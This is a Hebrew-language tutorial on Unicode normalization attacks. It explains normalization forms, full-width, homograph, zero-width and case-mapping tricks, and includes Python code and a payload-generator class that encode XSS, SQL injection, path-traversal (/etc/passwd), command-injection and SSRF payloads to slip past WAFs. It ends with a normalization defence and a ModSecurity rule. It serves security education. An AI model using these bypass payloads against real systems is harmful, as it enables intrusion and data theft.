נורמליזציית Unicode - Unicode Normalization Attacks¶
רקע - מהי נורמליזציית Unicode?¶
תקן Unicode מאפשר לייצג את אותו תו ויזואלי במספר דרכים שונות. למשל, האות e עם accent (e) אפשר לייצג כתו בודד (U+00E9) או כשני תווים: e (U+0065) ואחריו combining accent (U+0301). כדי לאפשר השוואה עקבית, קיימות ארבע צורות נורמליזציה.
צורות נורמליזציה¶
NFC - Canonical Decomposition, followed by Canonical Composition¶
פירוק קנוני ואז הרכבה חזרה. זו הצורה הנפוצה ביותר.
import unicodedata
# e + combining accent -> e (תו בודד)
text = "e\u0301" # e + combining acute accent
nfc = unicodedata.normalize('NFC', text)
print(f"מקורי: {repr(text)}") # 'e\u0301'
print(f"NFC: {repr(nfc)}") # '\xe9'
print(f"אורך מקורי: {len(text)}") # 2
print(f"אורך NFC: {len(nfc)}") # 1
NFD - Canonical Decomposition¶
פירוק קנוני בלבד. מפרק תווים מורכבים לרכיביהם.
text = "\xe9" # e (תו בודד)
nfd = unicodedata.normalize('NFD', text)
print(f"מקורי: {repr(text)}") # '\xe9'
print(f"NFD: {repr(nfd)}") # 'e\u0301'
print(f"אורך מקורי: {len(text)}") # 1
print(f"אורך NFD: {len(nfd)}") # 2
NFKC - Compatibility Decomposition, followed by Canonical Composition¶
פירוק תאימות ואז הרכבה. זו הצורה המעניינת ביותר לתוקפים כי היא ממירה תווים חזותית דומים לצורה הסטנדרטית שלהם.
examples = [
("\uff1c", "<"), # < (full-width) -> <
("\uff1e", ">"), # > (full-width) -> >
("\ufb01", "fi"), # fi (ligature) -> fi
("\u2024", "."), # ․ (one dot leader) -> .
("\uff0f", "/"), # / (full-width) -> /
("\u2044", "/"), # ⁄ (fraction slash) -> /
("\uff07", "'"), # ' (full-width) -> '
("\u2018", "'"), # ' (left single quote) -> ' (תלוי)
]
for original, expected in examples:
nfkc = unicodedata.normalize('NFKC', original)
print(f"U+{ord(original):04X} ({original}) -> NFKC: {repr(nfkc)}")
NFKD - Compatibility Decomposition¶
פירוק תאימות בלבד, ללא הרכבה חזרה.
text = "\ufb01" # fi ligature
nfkd = unicodedata.normalize('NFKD', text)
print(f"NFKD: {repr(nfkd)}") # 'fi'
עקיפת WAF באמצעות נורמליזציה¶
העיקרון¶
הקלט עובר דרך ה-WAF בצורתו המקורית (תווי Unicode מיוחדים). ה-WAF לא מזהה דפוס מסוכן. האפליקציה מבצעת נורמליזציה (NFKC) ומקבלת מטען זדוני.
תוקף שולח: <script>alert(1)</script>
WAF רואה: <script>alert(1)</script> -> לא מזהה <script>
אפליקציה מנרמלת (NFKC): <script>alert(1)</script> -> XSS!
מטעני XSS עם תווים ברוחב מלא¶
# בניית מטען XSS עם תווי full-width
def fullwidth_encode(text):
"""המרת תווי ASCII לתווים ברוחב מלא"""
result = []
for char in text:
code = ord(char)
if 0x21 <= code <= 0x7E:
# תווי ASCII 0x21-0x7E ממופים ל-0xFF01-0xFF5E
result.append(chr(code - 0x21 + 0xFF01))
else:
result.append(char)
return ''.join(result)
payload = "<script>alert(1)</script>"
encoded = fullwidth_encode(payload)
print(f"מקורי: {payload}")
print(f"מקודד: {encoded}")
# מקודד: <script>alert(1)</script>
# בדיקה שנורמליזציה מחזירה למקור
import unicodedata
decoded = unicodedata.normalize('NFKC', encoded)
print(f"אחרי NFKC: {decoded}")
# אחרי NFKC: <script>alert(1)</script>
מטעני SQLi עם תווי Unicode¶
# תווים שמתנרמלים לתווים רגישים
unicode_mappings = {
"'": ["\uff07", "\u2018", "\u2019", "\u02bc"], # גרש
'"': ["\uff02", "\u201c", "\u201d"], # מרכאות
"<": ["\uff1c", "\u2039", "\u276e"], # פחות מ-
">": ["\uff1e", "\u203a", "\u276f"], # גדול מ-
"/": ["\uff0f", "\u2044", "\u2215"], # קו נטוי
"(": ["\uff08", "\u207d", "\u208d"], # סוגר פותח
")": ["\uff09", "\u207e", "\u208e"], # סוגר סוגר
" ": ["\u2000", "\u2001", "\u2002", "\u2003"], # רווחים שונים
}
# בניית מטען SQLi
# מקורי: ' UNION SELECT 1--
# עם Unicode: ' UNION SELECT 1--
sqli_payload = "\uff07 UNION SELECT 1--"
print(f"מטען: {sqli_payload}")
print(f"אחרי NFKC: {unicodedata.normalize('NFKC', sqli_payload)}")
התקפות הומוגרף - Homograph Attacks¶
תווים שנראים זהים אך שונים¶
# תווים קירילים שנראים כמו לטיניים
homographs = {
'a': '\u0430', # а (קירילית)
'c': '\u0441', # с (קירילית)
'e': '\u0435', # е (קירילית)
'o': '\u043e', # о (קירילית)
'p': '\u0440', # р (קירילית)
'x': '\u0445', # х (קירילית)
'y': '\u0443', # у (קירילית)
'H': '\u041d', # Н (קירילית)
'B': '\u0412', # В (קירילית)
'T': '\u0422', # Т (קירילית)
}
# הדגמה
latin_a = 'a'
cyrillic_a = '\u0430'
print(f"Latin a: U+{ord(latin_a):04X}") # U+0061
print(f"Cyrillic а: U+{ord(cyrillic_a):04X}") # U+0430
print(f"נראים אותו דבר? {latin_a} vs {cyrillic_a}") # a vs а
print(f"שווים? {latin_a == cyrillic_a}") # False
התקפת הומוגרף על URL¶
# URL אמיתי: apple.com
# URL מזויף עם קירילית: аррle.com (a, p, p קירילים)
real_domain = "apple.com"
fake_domain = "\u0430\u0440\u0440le.com"
print(f"אמיתי: {real_domain}")
print(f"מזויף: {fake_domain}")
print(f"שווים? {real_domain == fake_domain}") # False
# אבל ויזואלית הם נראים זהים!
# בדיקת IDN (Internationalized Domain Name)
# הדפדפן ממיר ל-Punycode: xn--pple-43d0c.com
ניצול הומוגרפים לעקיפת WAF¶
# WAF חוסם את המילה "script"
# נחליף תו אחד בהומוגרף קירילי
# מקורי: <script>alert(1)</script>
# עם הומוגרף: <ѕсript>alert(1)</ѕсript>
# ^ ѕ (קירילית) ^ с (קירילית)
payload = "<\u0455\u0441ript>alert(1)</\u0455\u0441ript>"
print(f"מטען: {payload}")
# הדפדפן יראה: <ѕсript>alert(1)</ѕсript>
# WAF לא יזהה כ-"script"
# אבל: הדפדפן גם לא יזהה כתגית script!
# טכניקה זו עובדת רק אם האפליקציה מנרמלת לפני עיבוד
עקיפה באמצעות רוחב - Width-based Bypass¶
תווים ברוחב מלא - Full-width Characters¶
טווח U+FF01 עד U+FF5E מכיל גרסאות ברוחב מלא של תווי ASCII:
# טבלת המרה נפוצה
fullwidth_table = {
'!': '\uff01', # !
'"': '\uff02', # "
'#': '\uff03', # #
'$': '\uff04', # $
'%': '\uff05', # %
'&': '\uff06', # &
"'": '\uff07', # '
'(': '\uff08', # (
')': '\uff09', # )
'*': '\uff0a', # *
'+': '\uff0b', # +
',': '\uff0c', # ,
'-': '\uff0d', # -
'.': '\uff0e', # .
'/': '\uff0f', # /
'<': '\uff1c', # <
'=': '\uff1d', # =
'>': '\uff1e', # >
'?': '\uff1f', # ?
'@': '\uff20', # @
}
# בניית מטען path traversal
# מקורי: ../../../etc/passwd
traversal = "\uff0e\uff0e\uff0f\uff0e\uff0e\uff0f\uff0e\uff0e\uff0fetc\uff0fpasswd"
print(f"מטען: {traversal}")
print(f"אחרי NFKC: {unicodedata.normalize('NFKC', traversal)}")
# אחרי NFKC: ../../../etc/passwd
מטענים ברוחב מלא לכל סוגי החולשות¶
import unicodedata
def generate_fullwidth_payloads():
payloads = {
"XSS": "<script>alert(1)</script>",
"SQLi": "' UNION SELECT 1--",
"Path Traversal": "../../../etc/passwd",
"Command Injection": "; ls -la",
"SSRF": "http://127.0.0.1/admin",
}
for name, payload in payloads.items():
encoded = ""
for char in payload:
code = ord(char)
if 0x21 <= code <= 0x7E:
encoded += chr(code - 0x21 + 0xFF01)
else:
encoded += char
normalized = unicodedata.normalize('NFKC', encoded)
print(f"\n--- {name} ---")
print(f"מקורי: {payload}")
print(f"Full-width: {encoded}")
print(f"NFKC: {normalized}")
print(f"זהה למקור? {normalized == payload}")
generate_fullwidth_payloads()
ניצול Combining Characters ו-Diacritics¶
תווים משלבים - Combining Characters¶
תווים שמתחברים לתו הקודם ועשויים להשפיע על נורמליזציה:
# הוספת combining characters שמתנרמלים החוצה
combining_chars = [
'\u0300', # combining grave accent
'\u0301', # combining acute accent
'\u0302', # combining circumflex
'\u0303', # combining tilde
'\u0304', # combining macron
'\u030a', # combining ring above
'\u0327', # combining cedilla
]
# הכנסת combining character בין תווים
# WAF מחפש "script" כרצף רציף
# "s" + combining char + "cript" שובר את הרצף
payload = "s\u0300cript"
print(f"מטען: {payload}")
print(f"אורך: {len(payload)}") # 7 (כולל combining char)
# שימו לב: combining characters לא תמיד נעלמים בנורמליזציה
# זה תלוי בתו הספציפי ובצורת הנורמליזציה
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {repr(nfkc)}")
ניצול Zero-Width Characters¶
# תווים ברוחב אפס - בלתי נראים אך שוברים pattern matching
zero_width = [
'\u200b', # Zero-Width Space
'\u200c', # Zero-Width Non-Joiner
'\u200d', # Zero-Width Joiner
'\ufeff', # Zero-Width No-Break Space (BOM)
'\u200e', # Left-to-Right Mark
'\u200f', # Right-to-Left Mark
]
# הכנסת Zero-Width Space בתוך "script"
payload = f"<scr\u200bipt>alert(1)</scr\u200bipt>"
print(f"מטען: {payload}")
print(f"נראה כ: <script>alert(1)</script>")
print(f"אבל אורך: {len('script')} vs {len('scr\\u200bipt')}")
# האם הדפדפן מתעלם מ-zero-width chars בתוך תגית?
# בדרך כלל לא - אבל חלק מהאפליקציות מסירות אותם
בעיית Case Mapping בתרבויות שונות - Turkish I Problem¶
הבעיה הטורקית¶
בטורקית, המרת case עובדת אחרת:
import locale
# באנגלית:
# I (upper) <-> i (lower)
# רגיל
# בטורקית:
# I (upper) <-> ı (lower, without dot)
# I (upper, with dot) <-> i (lower)
# תו מיוחד: ı (dotless i, U+0131)
# תו מיוחד: I (I with dot above, U+0130)
# WAF שמשתמש ב-case-insensitive comparison עם locale טורקי
keyword = "SELECT"
user_input = "sel\u0130ct" # עם I טורקי (I עם נקודה)
# בתרבות טורקית: "I".lower() = "ı" (לא "i")
# אבל I (U+0130).lower() = "i"
# WAF עם locale טורקי:
# "SELECT".lower() -> "select" (באנגלית)
# "SELECT".lower() -> "sel\u0131ct" (בטורקית, עם dotless i)
# אם ה-WAF עושה lower() עם locale טורקי, "SELECT" הופך ל-"sel\u0131ct"
# ואז ההשוואה ל-"select" נכשלת!
ניצול לעקיפת WAF¶
# תרחיש: WAF בודק case-insensitive עם locale שגוי
# הקלט עובר uppercase/lowercase בצורה שונה
# מטען עם תו Kelvin Sign
# K (Kelvin, U+212A) שונה מ-K (Latin, U+004B)
# אבל NFKC ממיר Kelvin -> K
kelvin = '\u212a'
latin_k = 'K'
print(f"Kelvin: {kelvin} (U+{ord(kelvin):04X})")
print(f"Latin K: {latin_k} (U+{ord(latin_k):04X})")
print(f"שווים? {kelvin == latin_k}") # False
print(f"NFKC שווים? {unicodedata.normalize('NFKC', kelvin) == latin_k}") # True
# מטען: SELECT עם Kelvin K
sqli = f"' UNION {kelvin}SELECT 1--" # K הוא Kelvin
print(f"מטען: {sqli}")
# WAF מחפש "SELECT" - לא מוצא (כי ה-K הוא Kelvin)
# אפליקציה עם NFKC: "' UNION KSELECT 1--" -> לא מושלם
# גישה טובה יותר: long s
# ſ (Long S, U+017F) -> NFKC -> s
long_s = '\u017f'
payload = f"' UNION {long_s}ELECT 1--"
print(f"מטען: {payload}")
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {nfkc}")
# NFKC: ' UNION sELECT 1-- -> לא בדיוק "SELECT" (אות קטנה)
# שילוב עם case insensitive SQL:
# SQL לא רגיש ל-case, אז sELECT = SELECT
כלי לבניית מטעני Unicode¶
import unicodedata
class UnicodeBypassGenerator:
"""מחולל מטעני עקיפה באמצעות Unicode"""
# מיפוי תווים חלופיים
ALTERNATIVES = {
'<': ['\uff1c', '\u2039', '\u276e', '\ufe64'],
'>': ['\uff1e', '\u203a', '\u276f', '\ufe65'],
"'": ['\uff07', '\u2018', '\u2019', '\u02bc', '\u02b9'],
'"': ['\uff02', '\u201c', '\u201d'],
'/': ['\uff0f', '\u2044', '\u2215'],
'\\': ['\uff3c', '\u2216'],
'(': ['\uff08', '\u207d', '\u208d', '\ufe59'],
')': ['\uff09', '\u207e', '\u208e', '\ufe5a'],
' ': ['\u2000', '\u2001', '\u2002', '\u2003', '\u00a0',
'\u2004', '\u2005', '\u2006', '\u2007', '\u2008',
'\u2009', '\u200a', '\u202f', '\u205f'],
'.': ['\uff0e', '\u2024'],
'-': ['\uff0d', '\u2010', '\u2011', '\u2012', '\u2013'],
',': ['\uff0c', '\ufe50'],
';': ['\uff1b', '\ufe54'],
'=': ['\uff1d', '\ufe66'],
}
@classmethod
def encode_payload(cls, payload, strategy='fullwidth'):
"""קידוד מטען עם אסטרטגיה נבחרת"""
if strategy == 'fullwidth':
return cls._fullwidth(payload)
elif strategy == 'alternatives':
return cls._alternatives(payload)
elif strategy == 'mixed':
return cls._mixed(payload)
return payload
@classmethod
def _fullwidth(cls, text):
result = []
for char in text:
code = ord(char)
if 0x21 <= code <= 0x7E:
result.append(chr(code - 0x21 + 0xFF01))
else:
result.append(char)
return ''.join(result)
@classmethod
def _alternatives(cls, text):
result = []
for char in text:
if char in cls.ALTERNATIVES:
result.append(cls.ALTERNATIVES[char][0])
else:
result.append(char)
return ''.join(result)
@classmethod
def _mixed(cls, text):
"""קידוד חלקי - רק תווים קריטיים"""
critical = set("<>'\"/\\()= ")
result = []
for char in text:
if char in critical and char in cls.ALTERNATIVES:
result.append(cls.ALTERNATIVES[char][0])
else:
result.append(char)
return ''.join(result)
@classmethod
def verify_normalization(cls, encoded, expected):
"""וידוא שנורמליזציה מחזירה את המטען הרצוי"""
for form in ['NFC', 'NFD', 'NFKC', 'NFKD']:
normalized = unicodedata.normalize(form, encoded)
match = normalized == expected
print(f"{form}: {'V' if match else 'X'} -> {repr(normalized[:50])}")
# שימוש
gen = UnicodeBypassGenerator()
xss = "<script>alert(1)</script>"
sqli = "' UNION SELECT 1--"
for payload_name, payload in [("XSS", xss), ("SQLi", sqli)]:
print(f"\n{'='*50}")
print(f"מטען: {payload_name}")
for strategy in ['fullwidth', 'alternatives', 'mixed']:
encoded = gen.encode_payload(payload, strategy)
print(f"\nאסטרטגיה: {strategy}")
print(f"מקודד: {encoded}")
gen.verify_normalization(encoded, payload)
הגנה - נורמליזציה לפני בדיקה¶
import unicodedata
def secure_input_handler(user_input):
"""עיבוד מאובטח של קלט Unicode"""
# שלב 1: נורמליזציית NFKC (הצורה הקנונית הרחבה ביותר)
normalized = unicodedata.normalize('NFKC', user_input)
# שלב 2: הסרת תווי בקרה ותווי zero-width
cleaned = ''.join(
char for char in normalized
if unicodedata.category(char) not in ('Cc', 'Cf')
or char in ('\n', '\r', '\t')
)
# שלב 3: בדיקה אם כל התווים מותרים
for char in cleaned:
if unicodedata.category(char).startswith('C'):
raise ValueError(f"תו לא חוקי: U+{ord(char):04X}")
# שלב 4: בדיקות אבטחה על הצורה המנורמלת
# (כאן מפעילים את בדיקות ה-WAF)
return cleaned
# חוקת ModSecurity - נורמליזציית Unicode
SecRule ARGS "@rx .*" \
"id:1001,\
phase:2,\
pass,\
t:utf8toUnicode,\
t:urlDecode,\
t:htmlEntityDecode,\
t:lowercase,\
chain"
SecRule MATCHED_VAR "@rx <script>" \
"deny,status:403"
סיכום¶
נורמליזציית Unicode היא וקטור תקיפה עוצמתי מכיוון שרוב ה-WAFs לא מבצעים נורמליזציה לפני בדיקת חוקים. תווים ברוחב מלא, הומוגרפים, תווי combining, ותווי zero-width - כולם יכולים לשמש לעקיפה. ההגנה הנכונה היא לנרמל (NFKC) לפני כל בדיקת אבטחה, ולדחות תווים שאינם בטווח הצפוי.